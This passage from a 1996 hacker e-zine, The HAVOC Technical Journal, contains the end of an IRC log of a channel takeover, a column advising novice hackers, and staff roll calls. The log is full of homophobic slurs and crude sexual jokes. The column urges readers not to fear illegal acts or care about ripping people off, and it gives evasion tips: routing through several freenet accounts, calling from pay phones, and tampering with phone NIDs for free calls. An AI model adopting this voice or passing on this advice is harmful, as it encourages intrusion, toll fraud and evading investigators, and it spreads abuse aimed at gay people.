  1754. <Sanctity> Draim_K decides he'd prefer not to 
  1755. take chances and runs like fuck......
  1756. *** ec|ipse sets mode: +m
  1757. *** el4n sets mode: +o memor
  1758. <memor> heh..
  1759. *** el4n sets mode: +o Keystroke
  1760. <Scud-O> than you el
  1761. <Scud-O> hehehehehehehe
  1762. <memor> ah.. db wont change hehe
  1763. <el4n> hey
  1764. <Scud-O> KEY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  1765. !!!!
  1766. <ec|ipse> w3rd el4n!
  1767. *** Keystroke changes topic to "The so called 
  1768. e.p.a. should be the g.f.a. for gay fags 
  1769. accociation. You (the one op) sucks a nut! I own 
  1770. your lame asses"
  1771. <Keystroke> hehe
  1772. <el4n> im not the president of EPA
  1773. <Keystroke> Yea
  1774. <Scud-O> you the man!
  1775. <Scud-O> heheheh
  1776. <el4n> EPA was bought out
  1777. <Keystroke> oops
  1778. <el4n> terrable takeoveer
  1779. * Keystroke didnt know he had ops
  1780. <Scud-O> damn
  1781. <Scud-O> key rules.. he always has ops
  1782. *** Draim_K (wassupfoo@stjhts15c43.nbnet.nb.ca) 
  1783. has left #E.P.A.
  1784. *** Keystroke changes topic to "#phreak owns ewe"
  1785. <Scud-O> takeovers rule...
  1786. *** Keystroke sets mode: +nt
  1787. -memor:#e.p.a.- Scud-O takes rule... And Eats His 
  1788. Brain.
  1789. <Keystroke> hehe
  1790. <Scud-O> so now we are in epa right?
  1791. <Keystroke> #2600 and #hackers and #phreak and 
  1792. #hackerz were all mine one night :)
  1793. <Scud-O> memor: ?
  1794. *** el4n changes topic to "EPA = Educated Pastrey 
  1795. Associates"
  1796. <memor> yea?
  1797. *** el4n changes topic to "EPA = Educated 
  1798. Provalactic Associates"
  1799. <Scud-O> what do you mean and eats his brian?
  1800. <memor> ha heh my events
  1801. *** el4n changes topic to "EPA = Endured 
  1802. Provalactic Associates"
  1803. <Scud-O> heheh im in epa!!!
  1804. *** el4n changes topic to "EPA = Endured 
  1805. Provalactic Association"
  1806. *** Keystroke changes topic to "EPA = Eat Penis 
  1807. and Ass"
  1808. <Scud-O> Enviroenmental PRotction agency
  1809. <memor> well => take*:#: $nick takes $1 $+ $2 $+ 
  1810. $3 and hits his brain
  1811. <Scud-O> Evironmental Protection Agency
  1812. <el4n> yes
  1813. <el4n> we needed a name change
  1814. <el4n> the old one was just to flamboyend
  1815. *** arg (~sergio@ppp-24.ibw.com.ni) has joined 
  1816. #E.P.A.
  1817. <Scud-O> hehehe okay
  1818. <el4n> flamboyent
  1819. <Scud-O> your weird memor
  1820. <el4n> fuck i gotta learn to type
  1821. <Scud-O> I like that in a phreaker
  1822. *** arg (~sergio@ppp-24.ibw.com.ni) has left 
  1823. #E.P.A.
  1824. <memor> iam yea heh..
  1825. <el4n> Scud - have you just been having alot of 
  1826. sex or what?? i havent seen you in ages
  1827. <Keystroke> hehe
  1828. *** el4n sets mode: -m
  1829. <el4n> ok
  1830. <el4n> now what do youall have to say for 
  1831. yerselfs?
  1832. <Scud-O> el: yes.. 34-54 times a day!
  1833. <el4n> holy gawd
  1834. <el4n> no wonder you have no time for fcompouter
  1835. <el4n> FUCK
  1836. <el4n> LEARN TO TYPE
  1837. *** Keystroke has quit IRC (Excess Flood)
  1838. <el4n> me that is.
  1839. <Scud-O> el: sorry... I dont fuckinh want to 
  1840. type... I speach itialian damn it
  1841. <Scud-O> I cant spell either..
  1842. <ec|ipse> heheheh
  1843. <ec|ipse> type ~beast
  1844. <ec|ipse> my friend hasn't seen them
  1845. <Scud-O> actually im getting a bj right now.. so 
  1846. its hard to type!
  1847. <el4n> ~beast
  1848. <ec|ipse> el4n has been feeling desperate 
  1849. lately... el4n notices a lovely cow grazing 
  1850. out in a field... el4n can't hold it any 
  1851. longer and runs out into the field and fucks 
  1852. the cow.
  1853. <el4n> ~breast
  1854. <el4n> ~kittylitter
  1855. <el4n> i see..
  1856. <ec|ipse> type ~rlu
  1857. *** Keystok (bozo@ppp-21.ts-1.mvl.idt.net) has 
  1858. joined #e.p.a.
  1859. *** ec|ipse sets mode: +o Keystok
  1860. <el4n> ~rlu
  1861. <ec|ipse> el4n takes a crowbar and breaks into an 
  1862. RLU and starts ripping it apart... way ta go, 
  1863. el4n !
  1864. <Keystok> I scroolled it 10000000000 times
  1865. <Keystok> #gaysex
  1866. <Keystok> hehe
  1867. <Keystok> Thanks
  1868. <el4n> what did you skrewl?
  1869. <el4n> skkroll
  1870. <ec|ipse> *** Now talking in #gaysex
  1871. <ec|ipse> <ec|ipse> i want it up the ass
  1872. <Scud-O> do you screw off?
  1873. <Keystok> #EPA
  1874. <Keystok> not e.p.a.
  1875. <Keystok> hehe
  1876. <Keystok> Ask what keystroke did
  1877. <Keystok> They will cry
  1878. *** Digital_X (user@raptor.top.monad.net) has 
  1879. joined #e.p.a.
  1880. <Digital_X> :)
  1881. *** Digital_X (user@raptor.top.monad.net) has 
  1882. left #e.p.a.
  1883. <Scud-O> heleo
  1884. <Keystok> X!
  1885. <ec|ipse> this channel is gross
  1886. <Scud-O> yea.. it sucks
  1887. <Scud-O> die die die die
  1888. *** memor has quit IRC (Read error to memor[194.20
  1889. 6.81.193]: Connection reset by peer)
  1890. <ec|ipse> <ec|ipse> /msg el4n ok, i'll have gay 
  1891. sex with you :)
  1892. <ec|ipse> <ec|ipse> ooops
  1893. <el4n> haha
  1894. <el4n> scud- o : anyone msg ya?
  1895. <Scud-O> i want it now...
  1896. *** ec|ipse has quit IRC (Excess Flood)
  1897. <Scud-O> msg me.. nope.. dontta thinka so
  1898. *** ec|ipse (~eclypse@kam-as-01b06.direct.ca) has 
  1899. joined #e.p.a.
  1900. <el4n> right now??
  1901. *** el4n sets mode: +o ec|ipse
  1902. *** memor (~derzeter@ppp1.planetb.fr) has joined 
  1903. #e.p.a.
  1904. *** Scud-O sets mode: +o memor
  1905. <memor> Error: WSAENOTSOCK (4) by TCPMAN
  1906. <ec|ipse> conf info
  1907. <Keystok> CYA
  1908. <Keystok> CYA
  1909. <Keystok> CYA
  1910. <Scud-O> no dpont go
  1911. <Keystok> CYA
  1912. <Scud-O> no
  1913. *** Keystok (bozo@ppp-21.ts-1.mvl.idt.net) has 
  1914. left #e.p.a.
  1915. *** Defraz (~just@208.129.36.31) has joined 
  1916. #E.P.A.
  1917. * Sanctity shows el4n a broomstick and some 
  1918. KY........
  1919. <Sanctity> Suddenly some cheap 70's porno film 
  1920. music comes on [BOOMP-CHICKA-BOOMP-BOWWWWW!]
  1921. <Sanctity> el4n decides he'd prefer not to take 
  1922. chances and runs like fuck......
  1923. <el4n> h3h3h3
  1924. <el4n> funny stuff san
  1925. <Scud-O> hehe
  1926. <Sanctity> yeah, my friend wrote this prog
  1927. <Sanctity> it rocks
  1928. *** Vakant (Drub@btstts01c12.nbnet.nb.ca) has 
  1929. joined #e.p.a.
  1930. <Scud-O> ello
  1931. <Scud-O> we own this channel.. you must hail us 
  1932. all!
  1933. <el4n> prog?
  1934. <Scud-O> hehehehehehehehehehe
  1935. <el4n> you call that a prog?
  1936. *** had (~jjh@pm8-13.enter.net) has joined 
  1937. #E.P.A.
  1938. <el4n> i think i m going to add some shit to my 
  1939. popups.ini
  1940. <el4n> n call it a program
  1941. <el4n> yeh.. were the EPA
  1942. <el4n> BOW DOWN
  1943. *** had (~jjh@pm8-13.enter.net) has left #E.P.A.
  1944. <Scud-O> yea bow now damn it.. or be killed!!!!!!!
  1945. !!!!!
  1946. <Scud-O> ehehehehehehehehehheheheheheheheheheheheh
  1947. ehehe
  1948. * Sanctity grabs Scud-O by the neck and hooks 
  1949. Scud-O's upper jaw over his thumb..
  1950. * Sanctity takes careful aim while stretching 
  1951. Scud-O wayyy out.....
  1952. * Sanctity releases Scud-O..... *twang*
  1953. <el4n> i think that i will have to take off the 
  1954. pants and belt in a second
  1955. <el4n> dont piss me off
  1956. *** Draim_K (wassupfoo@stjhts15c43.nbnet.nb.ca) 
  1957. has joined #e.p.a.
  1958. <el4n> sanctuty - tell your friends that hes a 
  1959. homo will ya :)
  1960. *** Podunk (zero@ppp39.respool1.medina.ohio.net) 
  1961. has joined #E.P.A.
  1962. *** MuD-SeRV (wassupfoo@stjhts15c43.nbnet.nb.ca) 
  1963. has joined #e.p.a.
  1964. <Scud-O> ewww... that would hurt
  1965. *** MuD-SeRV is now known as Ere
  1966. <Scud-O> heheh im gunna piss all over you
  1967. <Scud-O> ahahahahahahahha
  1968. <Scud-O> Im mad.. mda is say!
  1969. <Scud-O> get your spite in a bag
  1970. <Scud-O> get your bile pilled up...
  1971. <Scud-O> its thje best damn vengance youve ever 
  1972. had! -Scud The Dispossible Assassin!
  1973. <Scud-O> i cant type for shit can it folks?
  1974. Session Close: Wed Dec 04 01:45:10 1996
  1975.  
  1976. =============================================================================
  1977.  
  1978. RTFM: The Lamer Journal
  1979.  
  1980.         Street Smarts
  1981.  
  1982. I found this in the Empire Times and well.. I want you to read it. Armitage
  1983. says some very true things...
  1984.  
  1985.  From the Empire Times issue 7       
  1986.       I've read alot in recent magazines and have seen alot on tv recently
  1987. about hackers, and it makes me sick.  I don't think the perceptions are
  1988. accurate.  Even though it bothers me, being the laid back individual I am
  1989. I don't let it get to me.  Maybe that is my fault, maybe it is good though.
  1990.  
  1991.       I want to send out a message to all the covert hackers and phreakers.
  1992. Not many people have such talents that some of us have.  Use them wisely, and
  1993. think about what you are doing before you do it.  I am not saying hacking is
  1994. bad (no no, why would anyone think that?).  I am just saying that think
  1995. about what you are doing and how you can get caught.  I don't want people to
  1996. get locked up like Mitnick and others.  Watch yourselves.
  1997.  
  1998.       I'm going to keep it short and sweet.  This is definatly a period of
  1999. busts.  Many many fellow hackers have gone 'down'.  That is something that
  2000. most people consider the worst thing that could ever happen to a member of
  2001. the computer underground.
  2002.  
  2003.  
  2004.     Till the next Empire Times,
  2005.  
  2006.         armitage@dhp.com
  2007.  
  2008.        +-----------------------------------------------------------+
  2009.  
  2010.         Armitage speaks the truth. We are in a period of heavy busts. You
  2011. probably will not have all the time you need to learn before you get busted.
  2012. If you cant handle this then stop reading this file and destroy all of the
  2013. hacking/phreaking files you may have found. If you are worried of being
  2014. busted, you have failed. If you worry about being busted, you are not a
  2015. hacker or phreaker. If you worry about being busted, you will be busted.
  2016.  
  2017.         Still here? Good. Congradulations! You have taken the first step
  2018. towards becoming a h/p person. You mut not fear or care! You must not fear
  2019. doing illegal things, and you must not care about ripping people or companies
  2020. off. If you do, you will get busted my friend.
  2021.  
  2022.         Second, don't ask for help with EVERY little detail. Most people with
  2023. some practice in H/P will not help you. They may help out a little, but the
  2024. rest you must find out for yourself. That is what hacking and phreaking is.
  2025. It is Exploring. Not ripping people off or doing illegal things, it is the
  2026. exploring of systems for KNOWLEDGE! You MUST know this. If you think Hacking
  2027. or phreaking is just about having fun, i'm calling the cops right now. Sure
  2028. it is fun, but it takes alot of work. Don't expect to be spoon fed everything.
  2029. Sure the first stuff is pre-canned for you, but the further you go into things
  2030. the more you will have to learn by your own mistakes.
  2031.  
  2032.         Third, Be VERY (emphasis on VERY) careful with who you share info with
  2033. most people on IRC do NOT know what they are talking about and so, they will
  2034. only mess things up for you. You must be VERY careful with what you say to
  2035. people. I am a very open person online, and one day this will hurt me. I will
  2036. get busted probably for trusting the wrong person. Don't make that mistake.
  2037.  
  2038.         Fourth, COVER YOUR TRACKS!! This is VERY imortante! when you are
  2039. messing around with a shell script or program, telnet thru several different
  2040. accounts first. In issue 4 at the end I published a list of freenets to use.
  2041. So get issue 4 and use those accounts. Also, NEVER call numbers from your
  2042. house unless you want to be busted! Use a pay phone or someone elses phone.
  2043. I published an article in issue 4 which clearly tells you how to mess with
  2044. NIDs to make free phone calls. Just going around your neighborhood should
  2045. turn up a few NIDs to play with.
  2046.  
  2047.         I dont want to sound like i'm condemning you to death or anything,
  2048. it is just that it is much harder to stay around in the "underground" these
  2049. days.
  2050.  
  2051.                         Safe Hacking & Phreaking-
  2052.  
  2053.                                                    Scud-O
  2054.                                               FoxMulder@worldnet.att.net
  2055.  
  2056.        +---------------------------------------------------------+
  2057.  
  2058. NOTE: if you use a lame nationwide ISP like AOL, P*, Netcom or MSN. Go and
  2059. cancel your account NOW! Get a local ISP or use AT&T or earthlink. They
  2060. need the money and almost all local ISPs have shell accounts so you can use
  2061. scripts!
  2062.  
  2063. Or if you only get a SLIP/PPP acount, l0pht and many other places have
  2064. shell accounts at low prices you can telnet in to!
  2065.  
  2066.  
  2067. Next Month on RTFM:
  2068.         Basics on hacking
  2069. 2 Month From Now:
  2070.         Basics on phreaking
  2071.  
  2072. =============================================================================
  2073.  
  2074. ROLL CALL & More!
  2075.  
  2076.  
  2077. Who is HAVOC Bell Systems?
  2078.         Scud-O       : Linux Lammah
  2079.         Psycho       : All Around Lammah
  2080.         |\|\cFill    : Mad Genius (doing wonders for tNg mIRC v.2.0!)
  2081.         Keystroke    : Mad PLA Insider
  2082.         Sancho Panza : This boy is so lame he couldn't hack is way out of a
  2083.                         bag! hehehehehe (no wonder he's not in HBS)
  2084.  
  2085.        The MIA people have been taken off the list!
  2086.  
  2087. Cool Undernet Channels:
  2088.         #phreak
  2089.         #rewt
  2090.  
  2091. Cool People:
  2092.         
  2093.         UnaBomber (if he's ever on anymore!)
  2094.         theLURK3R (aka `X`)
  2095.         demonweed
  2096.         darkcyde  (if he's ever on anymore!)
  2097.     Rap3d_C0w
  2098.         luthor
  2099.         CiND3R
  2100.         RedTyde  (aka ^ReDMaN^)
  2101.         RedDeath
  2102.         el4n
  2103.         LuCiFeR_
  2104.         X-SeRiAl
  2105.         yesimlame
  2106.         fusi0n
  2107.         KungFuFox
  2108.         ArcAngel
  2109.         darcangel
  2110.         BC219
  2111.         XiN0 (hehehehehehe.. bwahahahahahahahahahahaha)
  2112.  
  2113.                          all of these fine gents can be found on #phreak
  2114.  
  2115.           (Who will i add to HBS? find out next month!)
  2116.  
  2117. Lamah of the Month:
  2118.         kradd00d - kradd00d@juno.com
  2119.  
  2120. This Month Question(s): Why did it take you SO long to put out the issue?
  2121.         Well first NO ONE turned in thier articles! (the little punks)
  2122.   Anyway, I had all my stuff done and on the 15th when this issue was first
  2123.   going to come out, |\|\cFill send me his article. Psycho is such a lamer
  2124.   that i had to write his article for him the lame @$$ bitch! And well
  2125.   Keystroked HD exploded after installing linux (which im going to be doing
  2126.   soon) and so it took him until today (12/26/96) to send it out to me.
  2127.                         -Oh Well-
  2128.                          (sign)
  2129.         
  2130.   Next Month's Question: Who are |\|\cFill and Keystroke and Psycho?
  2131.  
  2132.  
  2133. Next Month:
  2134.         This MAY be what we will have in issue 7
  2135.           - Pagers
  2136.           - Cell Phones
  2137.           - A shit load of good UNIX C code stolen from theLURK3R!
  2138.           - The Practical Mailbomber for every day use
  2139.           - More from the RTFM: The Lamer Journal
  2140.           - Much, Much more TBA!
  2141.                 Issue 7 is out Jan. 31st!
  2142.  
  2143.  cya ya next issue! - The HAVOC Technical Journal Crew
  2144.  
  2145.  
  2146. ============================================================
  2147. = IS this copy of The HAVOC Technical Journal Skunked?
  2148. = If this file reads larger than 70177 bytes than this issue
  2149. = has been messed with! get a fresh copy from our site:
  2150. = www.geocities.com/SiliconValley/8805/
  2151. ============================================================
  2152.  
  2153.